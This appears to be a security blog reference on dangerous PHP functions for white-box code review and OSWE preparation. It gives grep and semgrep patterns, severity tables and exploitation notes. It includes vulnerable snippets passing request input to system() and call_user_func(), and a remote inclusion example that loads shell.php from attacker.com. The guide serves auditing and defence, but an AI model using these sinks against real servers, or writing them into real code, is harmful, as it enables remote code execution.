Overview
This is a reference for identifying and exploiting dangerous PHP functions during white-box web application penetration testing. Originally compiled during OSWE/AWAE preparation, updated with code review patterns and PHP version notes.
How to use this post:
- During source code review — use the grep/semgrep patterns to find sinks quickly
- During exploitation — use the function descriptions to understand what’s exploitable and how
- During OSWE exam — functions here are exactly what you’re hunting for in each target application
Attribution: Core function list adapted from OWASP PHP Security Cheat Sheet and StackOverflow. Code review patterns and version notes added here.
Finding These Functions: grep and Semgrep Patterns
Before diving into the function list, here are the patterns to use during code review.
Quick grep — find all dangerous function calls
# Command execution functions
grep -rn "exec\|passthru\|system\|shell_exec\|popen\|proc_open\|pcntl_exec" \
--include="*.php" /path/to/source/
# Code execution / eval sinks
grep -rn "eval\|assert\|create_function\|preg_replace" \
--include="*.php" /path/to/source/
# File inclusion sinks (LFI/RFI)
grep -rn "include\|require\|include_once\|require_once" \
--include="*.php" /path/to/source/
# User input reaching dangerous functions (taint)
grep -rn "\$_GET\|\$_POST\|\$_REQUEST\|\$_COOKIE\|\$_SERVER" \
--include="*.php" /path/to/source/ | grep -i "exec\|eval\|system\|include"
# Callbacks with user input
grep -rn "call_user_func\|array_map\|array_filter\|usort\|preg_replace_callback" \
--include="*.php" /path/to/source/
Semgrep — semantic pattern matching
Install: pip install semgrep
# Run official PHP security ruleset
semgrep --config "p/php" /path/to/source/
# Run with community security rules
semgrep --config "p/security-audit" /path/to/source/
# Target only RCE sinks
semgrep --config r/php.lang.security.exec-use /path/to/source/
Custom semgrep rule to find user input reaching exec:
rules:
- id: user-input-to-exec
languages: [php]
severity: ERROR
message: User input reaches exec() - potential RCE
patterns:
- pattern: exec($INPUT, ...)
- pattern-either:
- pattern: $INPUT = $_GET[...]
- pattern: $INPUT = $_POST[...]
- pattern: $INPUT = $_REQUEST[...]
Save as rce.yml and run: semgrep --config rce.yml /path/to/source/
Severity Reference
Quick triage guide — not all dangerous functions are equally exploitable:
| Severity | Functions | Why |
|---|---|---|
| CRITICAL | eval, assert, system, exec, passthru, shell_exec, backticks |
Direct code/command execution with user input = instant RCE |
| CRITICAL | include, require + user input |
LFI to RCE if log poisoning or file upload possible |
| HIGH | preg_replace with /e (PHP < 7.0) |
Eval on regex match — removed in PHP 7 |
| HIGH | create_function (PHP < 8.0) |
Wrapper for eval — removed in PHP 8 |
| HIGH | call_user_func, array_map, usort + user-controlled callback |
Callback injection |
| MEDIUM | file_put_contents, move_uploaded_file, copy |
Arbitrary file write — RCE if webroot writable |
| MEDIUM | unserialize |
PHP object injection — see deserialization attacks |
| LOW | phpinfo, getenv, get_cfg_var |
Information disclosure only |
Command Execution
Direct OS command execution. If any of these receive unsanitised user input, it is RCE.
exec() // Returns last line of output — no direct output to browser
passthru() // Passes raw output directly to browser — useful for binary output
system() // Passes output to browser AND returns last line
shell_exec() // Returns entire output as a string
`` // Backtick operator — identical to shell_exec()
popen() // Opens a pipe to a process — read or write
proc_open() // Like popen() but with more control over stdin/stdout/stderr
pcntl_exec() // Executes a program, replacing current process
PHP version notes:
- All functions above exist in PHP 5, 7, and 8
pcntl_exec()requires thepcntlextension — not enabled by default on Windows
Exploitation context:
If you find system($_GET['cmd']) or similar, you have immediate RCE. Look for user input flowing into any of these via variable assignment, string concatenation, or function return values.
PHP Code Execution
These functions evaluate PHP code at runtime. User input reaching these = RCE.
eval() // Executes string as PHP code
assert() // In PHP < 8: identical to eval() when passed a string
preg_replace('/.*/e', $input, ...) // /e modifier evals the replacement — REMOVED in PHP 7.0
create_function() // Creates anonymous function via eval — REMOVED in PHP 8.0
include($input) // Executes included file as PHP — LFI/RFI if user-controlled
include_once($input)
require($input)
require_once($input)
$_GET['func_name']($_GET['argument']) // Dynamic function call — common in poorly written apps
$func = new ReflectionFunction($_GET['func_name']); $func->invoke();
PHP version compatibility:
| Function | PHP 5 | PHP 7 | PHP 8 |
|---|---|---|---|
eval() |
yes | yes | yes |
assert() as eval |
yes | deprecated | removed |
preg_replace /e |
yes | removed in 7.0 | no |
create_function() |
yes | deprecated | removed in 8.0 |
Exploitation context:
assert() deserves special attention — in PHP 5 and early PHP 7, passing a string to assert() evaluates it as PHP code. This is frequently missed in code review because developers use it for debugging. Look for assert($input) with any user-controlled $input.
Callback Functions
These functions accept a callable as a parameter. If the callable is user-controlled, it can be used to call arbitrary functions including phpinfo(), system(), or eval().
// Common callback sinks
call_user_func($callback, $arg) // Calls $callback with $arg
call_user_func_array($callback, $args) // Calls $callback with array of args
array_map($callback, $array) // Applies $callback to each element
array_filter($array, $callback) // Filters using $callback
usort($array, $callback) // Sorts using $callback comparator
uasort($array, $callback)
uksort($array, $callback)
preg_replace_callback($pattern, $callback, $subject)
array_walk($array, $callback)
array_walk_recursive($array, $callback)
// Less obvious callback sinks
ob_start($callback) // Output buffer handler
register_shutdown_function($callback) // Called on script termination
register_tick_function($callback) // Called on each tick
set_error_handler($callback) // Custom error handler
set_exception_handler($callback) // Custom exception handler
spl_autoload_register($callback) // Autoloader registration
iterator_apply($iterator, $callback)
// Callback argument positions (for manual analysis)
'ob_start' => 0
'array_filter' => 1
'array_map' => 0
'array_reduce' => 1
'array_walk' => 1
'call_user_func' => 0
'call_user_func_array' => 0
'usort' => 1
'preg_replace_callback' => 1
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5)
Exploitation context:
If you find call_user_func($_GET['func'], $_GET['arg']), you can call system with any command. Even without argument control, calling phpinfo confirms the vulnerability. During OSWE, look for deserialization gadget chains that terminate in callback functions.
Information Disclosure
These don’t provide code execution directly but leak configuration, paths, and credentials useful for chaining attacks.
phpinfo() // Full PHP configuration — reveals paths, extensions, disable_functions
getenv() // Read environment variables — may contain DB passwords, API keys
get_cfg_var() // Read php.ini values
get_current_user() // Returns username of PHP process owner
getcwd() // Current working directory — reveals webroot path
disk_free_space()
disk_total_space()
proc_get_status() // Information about process opened by proc_open()
posix_getlogin() // Username of process
posix_ttyname() // Terminal device name
getlastmo() // Last modification time of page
getmygid() // GID of PHP process
getmyinode() // Inode of current script
getmypid() // PID of PHP process
getmyuid() // UID of PHP process
Exploitation context:
phpinfo() exposed publicly is always a finding. It reveals disable_functions (what’s blocked), open_basedir (path restrictions), server paths, and loaded extensions. This directly informs your exploitation approach when other functions are disabled.
Filesystem Functions
Write operations — arbitrary file write to webroot = RCE:
file_put_contents($path, $data) // Write data to file — RCE if webroot writable
move_uploaded_file($tmp, $dest) // Move uploaded file — file upload bypass
copy($src, $dest) // Copy file — with allow_url_fopen: copy remote PHP to webroot
rename($old, $new) // Rename/move file
symlink($target, $link) // Create symlink — path traversal amplifier
touch($path) // Create empty file
unlink($path) // Delete file — denial of service
mkdir($path) // Create directory
chmod($path, $mode) // Change permissions
chown($path, $user) // Change ownership
Read operations — information disclosure, LFI:
file_get_contents($path) // Read file contents — LFI if user-controlled
file($path) // Read file into array
readfile($path) // Output file contents directly
highlight_file($path) // Output file with syntax highlighting — shows source
show_source($path) // Alias for highlight_file()
parse_ini_file($path) // Parse .ini file — read config files
glob($pattern) // Find files matching pattern — directory listing
fopen($path, $mode) // Open file handle
PHP version notes:
allow_url_fopenandallow_url_includecontrol whether URLs can be used as file paths — disabled by default in modern PHP but worth checking in older applications- If
allow_url_include=On,include('http://attacker.com/shell.php')gives RFI to RCE
Exploitation context:
copy($_GET['s'], $_GET['d']) with allow_url_fopen=On allows copying a remote PHP file to the webroot. Also look for file_put_contents with user-controlled filename — if you can write a .php file to the webroot, you have RCE.
Other Notable Functions
extract($array) // Imports array keys as variables — register_globals-style vuln
parse_str($string) // Parses query string into variables — same risk as extract()
putenv($setting) // Set environment variable — can affect child process behaviour
ini_set($key, $val) // Change php.ini at runtime — can re-enable dangerous settings
mail($to, $subj, $body, $headers) // CRLF injection in 5th param
header($string) // CRLF injection in older PHP — XSS or header injection
unserialize($data) // PHP object injection — see deserialization attacks
Exploitation context:
extract($_GET) is particularly dangerous — it turns all GET parameters into local variables, potentially overwriting $admin, $authenticated, or any other variable used in access control logic. Appears frequently in legacy PHP applications.
Code Review Workflow
When auditing a PHP application for OSWE, work in this order:
- Find sinks — grep for dangerous function calls across the codebase
- Trace backwards — follow the variable back to where user input enters
- Check sanitisation — look for
escapeshellarg(),htmlspecialchars(),intval()between source and sink - Identify the chain — what HTTP parameter reaches the sink and how?
- Automate the exploit — OSWE expects a working end-to-end script, not manual steps
# Step 1: Find sinks
grep -rn "system\|exec\|eval\|include\|shell_exec" --include="*.php" . > sinks.txt
# Step 2: For each sink, find where the argument comes from
grep -n "system(" . -r --include="*.php"
# Step 3: Check if input is sanitised between source and sink
grep -rn "escapeshellarg\|escapeshellcmd\|filter_input\|htmlspecialchars" \
--include="*.php" .
References
- OWASP PHP Security Cheat Sheet
- StackOverflow: PHP dangerous functions — original source for function list
- Semgrep PHP rules — community ruleset for PHP security
- PayloadsAllTheThings — Command Injection — exploitation payloads
- php.net disable_functions — how to check what is blocked